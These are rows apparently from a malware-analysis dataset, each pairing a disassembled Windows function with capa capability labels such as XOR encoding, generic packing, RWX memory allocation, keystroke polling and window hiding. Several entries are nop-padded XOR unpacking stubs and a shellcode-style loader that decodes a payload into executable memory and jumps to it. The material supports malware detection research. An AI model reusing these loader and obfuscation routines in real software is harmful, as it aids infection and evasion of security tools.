joyce8/EMBER2024-capa huggingface dataset:
Function at 0x700d29f
Capabilities:
Set current directory

Disassembly:
push 8
mov eax, 0x70120f1
call fcn.07001cf8
mov edi, ecx
mov dword [ebp - 0x14], edi
mov esi, dword [ebp + 8]
push esi
call fcn.0700d491
xor ebx, ebx
mov dword [edi], vtable.FileSharedStream.0
mov dword [edi + 0xc], ebx
mov byte [edi + 0x10], bl
mov eax, dword [esi + 0x14]
mov dword [edi + 0x14], eax
lea eax, [edi + 0x18]
push eax
mov dword [ebp - 4], ebx
call dword [sym.imp.kernel32.dll_InitializeCriticalSection]
mov ecx, esi
mov byte [ebp - 4], 1
call fcn.0700dd8a
lea ecx, [ebp - 0x10]
call fcn.0700d23c
mov eax, dword [edi + 0x14]
mov byte [ebp - 4], 2
push dword [eax + 0x14]
call dword [sym.imp.kernel32.dll_SetCurrentDirectoryA]
mov eax, dword [edi + 0x14]
mov eax, dword [eax + 0xc]
test eax, eax
je 0x700d30c
mov eax, dword [eax + 0x14]
jmp 0x700d311
mov eax, 0x70138c2
push 0x7015240
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov dword [edi + 0xc], eax
pop ecx
pop ecx
test eax, eax
je 0x700d343
mov ecx, dword [edi + 4]
call fcn.070076d1
lea ecx, [ebp - 0x10]
mov dword [edi + 8], eax
call fcn.0700eed6
mov eax, edi
call fcn.07001ea7
ret 4
push str.file_does_not_exist
push ebx
call fcn.0700eed6
int3

Function at 0x700de90
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, ecx
mov eax, dword [esi + 0xc]
test eax, eax
je 0x700def4
cmp byte [esi + 0x10], 0
je 0x700deb2
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fflush]
mov eax, dword [esi + 0xc]
pop ecx
mov byte [esi + 0x10], 0
push edi
push eax
push dword [ebp + 0xc]
push 1
push dword [ebp + 8]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
push dword [esi + 0xc]
mov edi, eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ferror]
add esp, 0x14
test eax, eax
je 0x700dee2
push dword [esi + 0xc]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_feof]
pop ecx
test eax, eax
je 0x700defb
push dword [esi + 0xc]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
pop ecx
mov dword [esi + 8], eax
mov eax, edi
pop edi
jmp 0x700def6
xor eax, eax
pop esi
pop ebp
ret 8
push str.stream_read_error
push 0
call fcn.0700eed6
int3

Function at 0x700e170
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, ecx
mov eax, dword [esi + 4]
cmp byte [eax + 8], 0
jne 0x700e1c3
cmp dword [esi + 0xc], 0
je 0x700e1be
push dword [esi + 0xc]
push dword [ebp + 0xc]
push 1
push dword [ebp + 8]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
push dword [esi + 0xc]
mov byte [esi + 0x10], 1
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ferror]
add esp, 0x14
test eax, eax
je 0x700e1b1
push str.stream_write_error
jmp 0x700e1c8
push dword [esi + 0xc]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
pop ecx
mov dword [esi + 8], eax
pop esi
pop ebp
ret 8
push str.Attempt_to_write_read_only_stream
push 0
call fcn.0700eed6
int3
Function at 0x700eed6
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x700eee5
pop dword [ebp - 0x14]
mov eax, 0x700eee5
sub dword [ebp - 0x14], eax
mov dword [ebp - 0x24], 0x9cc489bc
sub dword [ebp - 0x24], 0x4e724471
mov dword [ebp - 0x20], 0x67895b37
sub dword [ebp - 0x20], 0x35560ef2
mov dword [ebp - 0x1c], 0x2336552f
add dword [ebp - 0x1c], 0x2915eeff
mov dword [ebp - 0x18], 0x6a0cfd8a
add dword [ebp - 0x18], 0x95f30276
lea eax, [ebp - 0x24]
push eax
mov eax, 0xcd25dee5
sub eax, 0xc624aeb5
add eax, dword [ebp - 0x14]
call dword [eax]
mov dword [ebp - 0x24], 0xd37fdc8e
sub dword [ebp - 0x24], 0x5f0d7338
mov dword [ebp - 0x20], 0xf8638c8
sub dword [ebp - 0x20], 0xce19d753
mov dword [ebp - 0x1c], 0x40e499ee
sub dword [ebp - 0x1c], 0xdd752d82
mov dword [ebp - 0x18], 0xeb8470ff
add dword [ebp - 0x18], 0x147b8f01
lea ebx, [ebp - 0x24]
push ebx
push eax
mov eax, 0x216a6799
sub eax, 0x1a693765
add eax, dword [ebp - 0x14]
call dword [eax]
push 0x40
push 0x1000
push 0x3d4ae
push 0
call eax
mov ecx, 0xc7537637
sub ecx, 0xc753233f
xor edx, edx
add edx, eax
mov ebx, 0xa82796fe
sub ebx, 0xa12594fe
add ebx, dword [ebp - 0x14]
mov esi, 0x66578d94
sub esi, 0x860023fa
xor dword [ebp - 4], 0xaa0582e1
mov edi, dword [ebx]
sub dword [ebp - 0x10], esi
sub edi, esi
mov dword [edx], edi
sub dword [ebp - 4], 0x939613b6
add edx, 0xf8e6a0ce
add edx, 0x7195f36
add ebx, 4
loop 0x700f004
add eax, 0x13eb3
mov ebx, eax
add eax, 5
mov ecx, 0xeef05615
sub ecx, 0xe7f05615
add ecx, dword [ebp - 0x14]
call ebx
leave
ret
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
pop eax
nop
nop
nop
nop
nop
add eax, 0x403daa
nop
nop
sub eax, 0x403d50
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x430030
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
jne 0x43001e
popal
nop
nop
nop
nop
nop
jmp loc.00401219
Function at 0x4062f0
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push 0xffffffffffffffff
push 0x4175eb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov esi, dword [esp + 0x18]
push edi
lea ecx, [esi + 4]
mov dword [esi], 0x4042c4
call fcn.00407011
push 4
mov dword [esp + 0x18], 0
call fcn.00408245
mov edi, eax
add esp, 4
test edi, edi
je 0x406364
push ebx
call fcn.00406ee9
mov dword [edi], eax
call fcn.00406ca8
push 0
lea ecx, [esp + 0x10]
mov ebx, eax
call fcn.00406fd2
mov eax, dword [ebx + 4]
cmp eax, 0xffffffff
jae 0x406358
inc eax
mov dword [ebx + 4], eax
lea ecx, [esp + 0xc]
call fcn.00406ffa
pop ebx
jmp 0x406366
xor edi, edi
mov dword [esi + 0x38], edi
lea eax, [esi + 8]
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], 0
mov eax, dword [esi + 0x24]
mov dword [eax], 0
mov ecx, dword [esi + 0x34]
mov dword [ecx], 0
mov edx, dword [esi + 0x10]
mov dword [edx], 0
mov eax, dword [esi + 0x20]
mov dword [eax], 0
mov ecx, dword [esi + 0x30]
mov dword [ecx], 0
mov ecx, dword [esp + 0xc]
pop edi
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 4

Function at 0x408cb1
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x41adbc]
jne 0x408cbb
repz ret
jmp fcn.0040fafc
Function at 0x414825
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x41adbc]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0040dca7
and dword [ebp - 0x14], 0
cmp dword [0x431b90], 0
mov dword [ebp - 0x18], eax
jne 0x4148d8
push 0x403f48
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x414980
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x403f3c
push ebx
call edi
test eax, eax
je 0x414980
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x403f2c
push ebx
mov dword [0x431b90], eax
call edi
push eax
call esi
push 0x403f18
push ebx
mov dword [0x431b94], eax
call edi
push eax
call esi
push 0x403efc
push ebx
mov dword [0x431b98], eax
call edi
push eax
call esi
mov dword [0x431ba0], eax
test eax, eax
je 0x4148d8
push 0x403ee4
push ebx
call edi
push eax
call esi
mov dword [0x431b9c], eax
mov eax, dword [0x431b9c]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x414931
cmp dword [0x431ba0], ecx
je 0x414931
push eax
call esi
push dword [0x431ba0]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x414931
test ebx, ebx
je 0x414931
call edi
test eax, eax
je 0x414928
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x414928
test byte [ebp - 8], 1
jne 0x414931
or dword [ebp + 0x10], 0x200000
jmp 0x414964
mov eax, dword [0x431b94]
cmp eax, dword [ebp - 0x18]
je 0x414964
push eax
call esi
test eax, eax
je 0x414964
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x414964
mov eax, dword [0x431b98]
cmp eax, dword [ebp - 0x18]
je 0x414964
push eax
call esi
test eax, eax
je 0x414964
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x431b90]
call esi
test eax, eax
je 0x414980
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x414982
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00408cb1
leave
ret
Function at 0x4163a0
Capabilities:
Get common file path
Manipulate console buffer

Disassembly:
mov eax, 0x1b04
call fcn.00415270
cmp dword [0x8dbfe4], 0x37
jne 0x416498
lea eax, [esp + 0x48]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualLock]
push 0
lea ecx, [esp + 0x304]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeMountPointW]
lea edx, [esp + 0xc]
push edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WaitForDebugEvent]
push 0
lea eax, [esp + 0xb04]
push eax
push 0x403ffc
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
push 0
lea ecx, [esp + 0x1304]
push ecx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
lea edx, [esp + 0xe0]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCPInfoExW]
lea eax, [esp + 4]
push eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
push 0x40401c
call dword [sym.imp.KERNEL32.dll_GlobalAddAtomA]
lea ecx, [esp + 8]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeA]
lea edx, [esp + 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProfileSectionW]
push 0x30
lea eax, [esp + 0x1c]
push 0
push eax
mov dword [esp + 0x20], 0
call fcn.004111e0
add esp, 0xc
lea ecx, [esp + 0x14]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CommConfigDialogW]
mov edx, dword [0x8de748]
mov dword [esp], edx
mov eax, 0x5d1
add dword [esp], eax
mov eax, dword [esp]
mov cl, byte [eax + esi]
mov edx, dword [0x8da7dc]
mov byte [edx + esi], cl
add esp, 0x1b04
ret
Function at 0x4afce4
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffb4
mov dword [esp], eax
lea esi, [esp + 0x30]
lea eax, [esp + 0xc]
push eax
call sub.kernel32.dll_GetSystemInfo
mov edi, dword [esp]
push 0x1c
push esi
push edi
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x4afdaf
jmp 0x4afda3
cmp dword [esi + 0x10], 0x1000
jne 0x4afd8f
test byte [esi + 0x15], 1
jne 0x4afd8f
mov byte [esp + 4], 0
mov ebp, dword [esi + 0x14]
cmp ebp, 1
je 0x4afd40
cmp ebp, 2
je 0x4afd40
cmp ebp, 0x10
je 0x4afd40
cmp ebp, 0x20
jne 0x4afd5c
lea eax, [esp + 8]
push eax
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x4afd5c
mov byte [esp + 4], 1
xor ebx, ebx
jmp 0x4afd6d
mov eax, dword [esi]
add eax, ebx
call fcn.004afcdc
add ebx, dword [esp + 0x10]
cmp ebx, dword [esi + 0xc]
jb 0x4afd60
cmp byte [esp + 4], 0
je 0x4afd8f
lea eax, [esp + 8]
push eax
mov eax, dword [esp + 0xc]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov edi, eax
push 0x1c
push esi
push edi
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x4afdaf
mov eax, dword [esi + 4]
cmp eax, dword [esp]
je 0x4afd15
add esp, 0x4c
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x432000
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43200c
nop
pop eax
nop
nop
nop
nop
nop
add eax, 0x40729f
nop
sub eax, 0x407245
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x432030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
jne 0x43201e
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40de38
nop
nop
mov ecx, 0x383337c6
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x433024
nop
nop
mov eax, section..data
nop
mov ebx, 0x4304d8
mov ecx, 0x3c0d4300
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x433084
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43306c
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x10001fe0
Capabilities:
Log keystrokes via polling

Disassembly:
push 0x1c
mov eax, 0x1001685e
call fcn.10016539
mov esi, dword [ebp + 0xc]
lea edi, [ebp - 0x28]
push 7
pop ecx
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [ebp + 8]
xor eax, eax
test ecx, ecx
mov dword [ebp + 0xc], eax
push 0x1c
pop esi
lea edx, [ecx - 0x68]
cmove edx, esi
mov ecx, dword [edx]
test ecx, ecx
jne 0x10002017
mov ecx, 0x80004005
jmp 0x10002077
mov eax, dword [ecx]
lea edx, [ebp + 0xc]
push edx
push 0x1001902c
push ecx
call dword [eax]
mov ecx, eax
mov eax, dword [ebp + 0xc]
test ecx, ecx
js 0x10002077
test eax, eax
je 0x10002074
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
push 0x10
call edi
xor ecx, ecx
xor esi, esi
inc ecx
test ax, ax
push 0x11
cmovs esi, ecx
call edi
test ax, ax
jns 0x10002053
add esi, 2
push 0x12
call edi
test ax, ax
jns 0x1000205f
add esi, 4
mov eax, dword [ebp + 0xc]
lea edx, [ebp - 0x28]
push esi
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x1c]
mov ecx, eax
mov eax, dword [ebp + 0xc]
jmp 0x10002077
xor ecx, ecx
inc ecx
xor ebx, ebx
test ecx, ecx
setne bl
and dword [ebp - 4], 0
test eax, eax
je 0x1000208c
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, ebx
call fcn.1001650a
ret 8
Function at 0x1000226a
Capabilities:
Hide graphical window

Disassembly:
push 0
mov eax, 0x10016879
call fcn.10016539
mov edi, dword [ebp + 8]
lea eax, [edi - 0x80]
neg edi
sbb edi, edi
and edi, eax
and dword [ebp - 4], 0
mov ecx, dword [edi + 0x1c]
test ecx, ecx
jne 0x10002296
cmp dword [ebp + 0x14], ecx
jne 0x100022ea
mov bl, 1
jmp 0x100022ec
mov esi, dword [ebp + 0x14]
test esi, esi
je 0x100022ea
and dword [ebp + 0x14], 0
lea edx, [ebp + 0x14]
and dword [ebp + 8], 0
mov ebx, 0x100194dc
mov eax, dword [ecx]
push edx
push ebx
push ecx
call dword [eax]
mov eax, dword [esi]
lea ecx, [ebp + 8]
push ecx
push ebx
push esi
call dword [eax]
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 8]
cmp eax, ecx
sete bl
mov byte [ebp - 4], 1
test ecx, ecx
je 0x100022da
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov eax, dword [ebp + 0x14]
mov byte [ebp - 4], 2
test eax, eax
je 0x100022ec
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp 0x100022ec
xor bl, bl
or dword [ebp - 4], 0xffffffff
test bl, bl
jne 0x100022fe
mov eax, 0x8000ffff
jmp case.default.0x1000232f
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x1000231e
push dword [ebp + 0x1c]
push ecx
lea ecx, [edi + 0x80]
call fcn.10002d27
mov eax, 0x40180
jmp case.default.0x1000232f
add ecx, 7
mov eax, 0x80004001
cmp ecx, 7
ja case.default.0x1000232f
jmp dword [ecx*4 + 0x100023d3]
push dword [ebp + 0x1c]
push ecx
lea ecx, [edi + 0x80]
call fcn.10002d27
jmp case.default.0x1000232f
push ecx
lea ecx, [edi + 0x80]
neg ecx
push 0xffffffffffffffff
sbb ecx, ecx
and ecx, edi
add ecx, 0xc
call fcn.10005903
xor ecx, ecx
test eax, eax
cmovns eax, ecx
jmp case.default.0x1000232f
push ecx
push ecx
lea ecx, [edi + 0x80]
call fcn.10002cfa
jmp case.default.0x1000232f
lea ecx, [edi + 0x80]
neg ecx
sbb ecx, ecx
xor eax, eax
and ecx, edi
test byte [ecx + 0x50], 8
jne case.default.0x1000232f
push ecx
push 0xfffffffffffffffc
jmp 0x10002359
lea esi, [edi + 0x80]
neg esi
sbb esi, esi
and esi, edi
lea eax, [esi + 0x8c]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x18]
cmp dword [esi + 0x58], 0
je case.0x1000232f.6
push 0
push dword [esi + 0x58]
call dword [sym.imp.USER32.dll_ShowWindow]
xor eax, eax
jmp case.default.0x1000232f
push dword [ebp + 0x1c]
push ecx
lea ecx, [edi + 0xc]
call fcn.10006355
call fcn.1001650a
ret 0x1c
Function at 0x10009bdc
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push 0x424
mov eax, 0x10016eb8
call fcn.100165db
mov eax, dword [ebp + 0xc]
xor esi, esi
mov ebx, dword [ebp + 8]
mov dword [ebp - 0x420], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x41c], eax
mov dword [ebp - 0x428], esi
mov dword [ebp - 4], esi
mov dword [ebp - 0x42c], ecx
mov dword [ebp - 0x430], esi
mov dword [ebp - 0x418], esi
push 0x60
push esi
push ebx
mov byte [ebp - 4], 1
call dword [sym.imp.kernel32.dll_LoadLibraryExW]
mov edi, eax
mov dword [ebp - 0x424], edi
test edi, edi
jne 0x10009c59
push 2
push esi
push ebx
call dword [sym.imp.kernel32.dll_LoadLibraryExW]
mov edi, eax
mov dword [ebp - 0x424], eax
test edi, edi
jne 0x10009c59
call fcn.1000836f
mov esi, eax
jmp 0x10009d5f
push dword [ebp - 0x41c]
push dword [ebp - 0x420]
push edi
call dword [sym.imp.kernel32.dll_FindResourceW]
mov ebx, eax
test ebx, ebx
jne 0x10009c7c
call fcn.1000836f
jmp 0x10009d52
push ebx
push edi
call dword [sym.imp.kernel32.dll_LoadResource]
mov dword [ebp - 0x41c], eax
test eax, eax
je 0x10009c72
push ebx
push edi
call dword [sym.imp.kernel32.dll_SizeofResource]
mov ebx, eax
mov dword [ebp - 0x420], ebx
lea eax, [ebx + 1]
cmp eax, ebx
jae 0x10009caf
mov esi, 0x8007000e
jmp 0x10009d54
push 2
pop ecx
mul ecx
mov byte [ebp - 4], cl
cmp edx, esi
ja 0x10009d8d
jb 0x10009cca
cmp eax, 0xffffffff
ja 0x10009d8d
cmp eax, 0x400
jbe 0x10009cdf
push eax
lea ecx, [ebp - 0x418]
call fcn.1000dc83
jmp 0x10009d01
lea eax, [ebp - 0x414]
mov dword [ebp - 0x418], eax
jmp 0x10009d01
mov dword [ebp - 4], 1
cmp dword [ebp - 0x418], 0
je 0x10009ca5
push ebx
push dword [ebp - 0x418]
push ebx
push dword [ebp - 0x41c]
push esi
push 3
call dword [sym.imp.kernel32.dll_MultiByteToWideChar]
mov ecx, eax
test ecx, ecx
je 0x10009c72
mov eax, dword [ebp - 0x418]
xor edx, edx
push dword [ebp + 0x14]
mov word [eax + ecx*2], dx
lea ecx, [ebp - 0x430]
push dword [ebp - 0x418]
call fcn.1000dc83
mov esi, eax
test edi, edi
je 0x10009d5f
push edi
call dword [sym.imp.kernel32.dll_FreeLibrary]
lea eax, [ebp - 0x414]
cmp dword [ebp - 0x418], eax
je 0x10009d78
lea ecx, [ebp - 0x418]
call fcn.10008337
lea ecx, [ebp - 0x428]
call fcn.10001550
mov eax, esi
call fcn.1001652c
ret 0x10
push 0x80070216
call fcn.1000dc83
int3
Function at 0x401f10
Capabilities:
Get disk information
Inspect load icon resource
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x148
push ebx
push esi
push edi
push 0x65
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
lea ecx, [esp + 0xc]
call fcn.00401000
lea ecx, [esp + 0x50]
push 0x104
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x50]
lea ecx, [esp + 0xc]
push edx
call fcn.004012b0
test eax, eax
je 0x402021
lea eax, [esp + 0x50]
push 0x404030
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x402084
lea ecx, [esp + 0x50]
push ecx
lea ecx, [esp + 0x10]
call fcn.00401290
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
sub eax, 8
push 0
push eax
push esi
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
push esi
push 1
lea edx, [esp + 0x24]
push 8
push edx
call ebx
mov eax, dword [esp + 0x2c]
push 0
push eax
push esi
call edi
push esi
push 1
lea ecx, [esp + 0x48]
push 0x38
push ecx
call ebx
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esp + 0x88]
mov edx, dword [esp + 0x50]
add esp, 0x3c
test eax, eax
mov eax, dword [esp + 0x10]
push edx
push eax
jne 0x401ffe
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401800
jmp 0x402084
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401a90
jmp 0x402084
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_1
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, eax
mov esi, 1
xor ebx, ebx
test edi, esi
je 0x40206a
mov dl, bl
lea ecx, [esp + 0x10]
add dl, 0x41
push edx
call sub.MFC42.DLL_CString::operator_1
push 0x40412c
lea ecx, [esp + 0x14]
call fcn.004020e2
lea ecx, [esp + 0xc]
mov eax, dword [esp + 0x10]
push eax
push 0
call fcn.00401cf0
add esi, esi
inc ebx
cmp ebx, 0x1a
jl 0x402039
lea ecx, [esp + 0xc]
call fcn.00401040
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
call fcn.00401030
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x148
ret 0x10

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
nop
nop
pop eax
nop
nop
nop
nop
add eax, 0x40a063
sub eax, 0x40a009
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x433030
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43301e
nop
nop
nop
nop
nop
nop
popal
jmp 0x431219